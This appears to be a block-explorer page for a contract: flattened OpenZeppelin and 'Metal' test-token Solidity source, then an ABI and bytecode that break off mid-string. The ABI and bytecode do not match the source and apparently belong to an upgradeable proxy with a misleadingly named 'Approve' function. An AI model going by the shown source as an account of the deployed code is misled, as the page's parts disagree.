    * @dev Returns the value stored at position `index` in the set. O(1).
    *
    * Note that there are no guarantees on the ordering of values inside the
    * array, and it may change when more values are added or removed.
    *
    * Requirements:
    *
    * - `index` must be strictly less than {length}.
    */
    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    // AddressSet

    struct AddressSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

   /**
    * @dev Returns the value stored at position `index` in the set. O(1).
    *
    * Note that there are no guarantees on the ordering of values inside the
    * array, and it may change when more values are added or removed.
    *
    * Requirements:
    *
    * - `index` must be strictly less than {length}.
    */
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }


    // UintSet

    struct UintSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

   /**
    * @dev Returns the value stored at position `index` in the set. O(1).
    *
    * Note that there are no guarantees on the ordering of values inside the
    * array, and it may change when more values are added or removed.
    *
    * Requirements:
    *
    * - `index` must be strictly less than {length}.
    */
    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}

// File: @openzeppelin/contracts/utils/Address.sol

pragma solidity >=0.6.2 <0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/access/AccessControl.sol

pragma solidity >=0.6.0 <0.8.0;




/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it.
 */
abstract contract AccessControl is Context {
    using EnumerableSet for EnumerableSet.AddressSet;
    using Address for address;

    struct RoleData {
        EnumerableSet.AddressSet members;
        bytes32 adminRole;
    }

    mapping (bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) public view returns (bool) {
        return _roles[role].members.contains(account);
    }

    /**
     * @dev Returns the number of accounts that have `role`. Can be used
     * together with {getRoleMember} to enumerate all bearers of a role.
     */
    function getRoleMemberCount(bytes32 role) public view returns (uint256) {
        return _roles[role].members.length();
    }

    /**
     * @dev Returns one of the accounts that have `role`. `index` must be a
     * value between 0 and {getRoleMemberCount}, non-inclusive.
     *
     * Role bearers are not sorted in any particular way, and their ordering may
     * change at any point.
     *
     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
     * you perform all queries on the same block. See the following
     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
     * for more information.
     */
    function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
        return _roles[role].members.at(index);
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) public virtual {
        require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");

        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) public virtual {
        require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");

        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) public virtual {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * [WARNING]
     * ====
     * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
     * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
        _roles[role].adminRole = adminRole;
    }

    function _grantRole(bytes32 role, address account) private {
        if (_roles[role].members.add(account)) {
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) private {
        if (_roles[role].members.remove(account)) {
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

// File: contracts/common/AccessControlMixin.sol

pragma solidity 0.6.12;


contract AccessControlMixin is AccessControl {
    string private _revertMsg;
    function _setupContractId(string memory contractId) internal {
        _revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
    }

    modifier only(bytes32 role) {
        require(
            hasRole(role, _msgSender()),
            _revertMsg
        );
        _;
    }
}

// File: contracts/root/RootToken/Metal.sol

// This contract is not supposed to be used in production
// It's strictly for testing purpose

pragma solidity 0.6.12;


contract Metal is
    NativeMetaTransaction,
    AccessControlMixin,
    ERC20,
    ContextMixin
{
    function initialize() public initializer {
        Ownable.__Ownable_init();

        _decimals = 18;
        _symbol = "Metal";
        _name = "Metal";

        _totalSupply = 100 * 1e9 * (10 ** uint256(_decimals));
        _balances[owner()] = _totalSupply;
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function _msgSender()
        internal
        override
        view
        returns (address payable sender)
    {
        return ContextMixin.msgSender();
    }
}

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"userAddress","type":"address"},{"indexed":false,"internalType":"address payable","name":"relayerAddress","type":"address"},{"indexed":false,"internalType":"bytes","name":"functionSignature","type":"bytes"}],"name":"MetaTransactionExecuted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ERC712_VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"},{"internalType":"bytes","name":"functionSignature","type":"bytes"},{"internalType":"bytes32","name":"sigR","type":"bytes32"},{"internalType":"bytes32","name":"sigS","type":"bytes32"},{"internalType":"uint8","name":"sigV","type":"uint8"}],"name":"executeMetaTransaction","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getChainId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getDomainSeperator","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getNonce","outputs":[{"internalType":"uint256","name":"nonce","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506200003f7f70f657164e5b75689b64b7fd7aa19f663f1fc8e078b6ff0f3592cdfed062b08f600062000070565b6200006a7fd8a5a3c0dbbf7fb9753f0e039243de225eb961abd6db69cc663d514f4b783f1e620000c5565b620000ef565b6001600160ff1b03811015620000a0576200009682620000e960201b62000e1e1760201c565b620000a057600080fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b3b151590565b61182d80620000ff6000396000f3fe60806040526004361061010d5760003560e01c80638129fc1c1161009557806391d148541161006457806391d1485414610441578063a217fddf1461048e578063ca15c873146104a3578063d547741f146104cd578063f2fde38b146105065761011c565b80638129fc1c146103925780638da5cb5b146103a75780639010d07c146103d857806390ec57f1146104085761011c565b80632d0335ab116100dc5780632d0335ab146102c35780632f2ff15d146102f65780633408e4701461032f57806336568abe14610344578063715018a61461037d5761011c565b80630c53c51c146101245780630f7e59701461025d57806320379ee514610272578063248a9ca3146102995761011c565b3661011c5761011a610539565b005b61011a610539565b6101e8600480360360a081101561013a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561016557600080fd5b82018360208201111561017757600080fd5b8035906020019184600183028401116401000000008311171561019957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550508235935050506020810135906040013560ff16610571565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022257818101518382015260200161020a565b50505050905090810190601f16801561024f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026957600080fd5b506101e861087e565b34801561027e57600080fd5b5061028761089b565b60408051918252519081900360200190f35b3480156102a557600080fd5b50610287600480360360208110156102bc57600080fd5b50356108a2565b3480156102cf57600080fd5b50610287600480360360208110156102e657600080fd5b50356001600160a01b03166108b7565b34801561030257600080fd5b5061011a6004803603604081101561031957600080fd5b50803590602001356001600160a01b03166108d2565b34801561033b57600080fd5b5061028761093e565b34801561035057600080fd5b5061011a6004803603604081101561036757600080fd5b50803590602001356001600160a01b0316610942565b34801561038957600080fd5b5061011a6109a3565b34801561039e57600080fd5b5061011a610a64565b3480156103b357600080fd5b506103bc610c05565b604080516001600160a01b039092168252519081900360200190f35b3480156103e457600080fd5b506103bc600480360360408110156103fb57600080fd5b5080359060200135610c1a565b34801561041457600080fd5b5061011a6004803603604081101561042b57600080fd5b506001600160a01b038135169060200135610c3b565b34801561044d57600080fd5b5061047a6004803603604081101561046457600080fd5b50803590602001356001600160a01b0316610c73565b604080519115158252519081900360200190f35b34801561049a57600080fd5b50610287610c8b565b3480156104af57600080fd5b50610287600480360360208110156104c657600080fd5b5035610c90565b3480156104d957600080fd5b5061011a600480360360408110156104f057600080fd5b50803590602001356001600160a01b0316610ca7565b34801561051257600080fd5b5061011a6004803603602081101561052957600080fd5b50356001600160a01b0316610d00565b610541610e24565b6001600160a01b0316336001600160a01b0316141561055f57600080fd5b61056f61056a610e49565b610e6e565b565b606061057b6115ad565b50604080516060810182526001600160a01b038816600081815260336020908152908490205483528201529081018690526105b98782878787610e92565b6105f45760405162461bcd60e51b81526004018080602001828103825260218152602001806117a86021913960400191505060405180910390fd5b6001600160a01b038716600090815260336020526040902054610618906001610f6c565b60336000896001600160a01b03166001600160a01b03168152602001908152602001600020819055507f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b87338860405180846001600160a01b03168152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156106c05781810151838201526020016106a8565b50505050905090810190601f1680156106ed5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a160006060306001600160a01b0316888a6040516020018083805190602001908083835b6020831061073e5780518252601f19909201916020918201910161071f565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b031660601b8152601401925050506040516020818303038152906040526040518082805190602001908083835b602083106107b45780518252601f199092019160209182019101610795565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610816576040519150601f19603f3d011682016040523d82523d6000602084013e61081b565b606091505b509150915081610872576040805162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c00000000604482015290519081900360640190fd5b98975050505050505050565b604051806040016040528060018152602001603160f81b81525081565b6032545b90565b60009081526034602052604090206002015490565b6001600160a01b031660009081526033602052604090205490565b6000828152603460205260409020600201546108f5906108f0610fc6565b610c73565b6109305760405162461bcd60e51b815260040180806020018281038252602f81526020018061168d602f913960400191505060405180910390fd5b61093a8282610fd5565b5050565b4690565b61094a610fc6565b6001600160a01b0316816001600160a01b0316146109995760405162461bcd60e51b815260040180806020018281038252602f8152602001806117c9602f913960400191505060405180910390fd5b61093a828261103e565b6109ab610fc6565b6000546201000090046001600160a01b03908116911614610a13576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008054604051620100009091046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805462010000600160b01b0319169055565b600054610100900460ff1680610a7d5750610a7d6110a7565b80610a8b575060005460ff16155b610ac65760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff16158015610af1576000805460ff1961ff0019909116610100171660011790555b610af96110ad565b603b805460ff191660121790556040805180820190915260058082526413595d185b60da1b6020909201918252610b3291603a916115d7565b506040805180820190915260058082526413595d185b60da1b6020909201918252610b5f916039916115d7565b50603b5460ff16600a0a64174876e80002603881905560366000610b81610c05565b6001600160a01b03168152602081019190915260400160002055610ba3610c05565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6038546040518082815260200191505060405180910390a38015610c02576000805461ff00191690555b50565b6000546201000090046001600160a01b031690565b6000828152603460205260408120610c329083611156565b90505b92915050565b610c43610e24565b6001600160a01b0316336001600160a01b03161415610c6b57610c668282611162565b61093a565b61093a610539565b6000828152603460205260408120610c3290836111a8565b600081565b6000818152603460205260408120610c35906111bd565b600082815260346020526040902060020154610cc5906108f0610fc6565b6109995760405162461bcd60e51b81526004018080602001828103825260308152602001806117256030913960400191505060405180910390fd5b610d08610fc6565b6000546201000090046001600160a01b03908116911614610d70576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610db55760405162461bcd60e51b81526004018080602001828103825260268152602001806116ff6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516936201000090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b3b151590565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610e8d573d6000f35b3d6000fd5b60006001600160a01b038616610ed95760405162461bcd60e51b81526004018080602001828103825260258152602001806117556025913960400191505060405180910390fd5b6001610eec610ee7876111c8565b61124b565b83868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610f43573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b600082820183811015610c32576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610fd0611297565b905090565b6000828152603460205260409020610fed90826112f4565b1561093a57610ffa610fc6565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526034602052604090206110569082611309565b1561093a57611063610fc6565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b303b1590565b600054610100900460ff16806110c657506110c66110a7565b806110d4575060005460ff16155b61110f5760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff1615801561113a576000805460ff1961ff0019909116610100171660011790555b61114261131e565b8015610c02576000805461ff001916905550565b6000610c32838361141d565b6001600160ff1b038110156111835761117a82610e1e565b61118357600080fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6000610c32836001600160a01b038416611481565b6000610c3582611499565b60006040518060800160405280604381526020016116bc60439139805190602001208260000151836020015184604001518051906020012060405160200180858152602001848152602001836001600160a01b03168152602001828152602001945050505050604051602081830303815290604052805190602001209050919050565b600061125561089b565b82604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b6000333014156112ef5760606000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b0316915061089f9050565b503390565b6000610c32836001600160a01b03841661149d565b6000610c32836001600160a01b0384166114e7565b600054610100900460ff168061133757506113376110a7565b80611345575060005460ff16155b6113805760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff161580156113ab576000805460ff1961ff0019909116610100171660011790555b60006113b5610fc6565b6000805462010000600160b01b031916620100006001600160a01b038416908102919091178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610c02576000805461ff001916905550565b8154600090821061145f5760405162461bcd60e51b815260040180806020018281038252602281526020018061166b6022913960400191505060405180910390fd5b82600001828154811061146e57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b60006114a98383611481565b6114df57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c35565b506000610c35565b600081815260018301602052604081205480156115a3578354600019808301919081019060009087908390811061151a57fe5b906000526020600020015490508087600001848154811061153757fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061156757fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610c35565b6000915050610c35565b60405180606001604052806000815260200160006001600160a01b03168152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061161857805160ff1916838001178555611645565b82800160010185558215611645579182015b8281111561164557825182559160200191906001019061162a565b50611651929150611655565b5090565b5b80821115611651576000815560010161165656fe456e756d657261626c655365743a20696e646578206f757420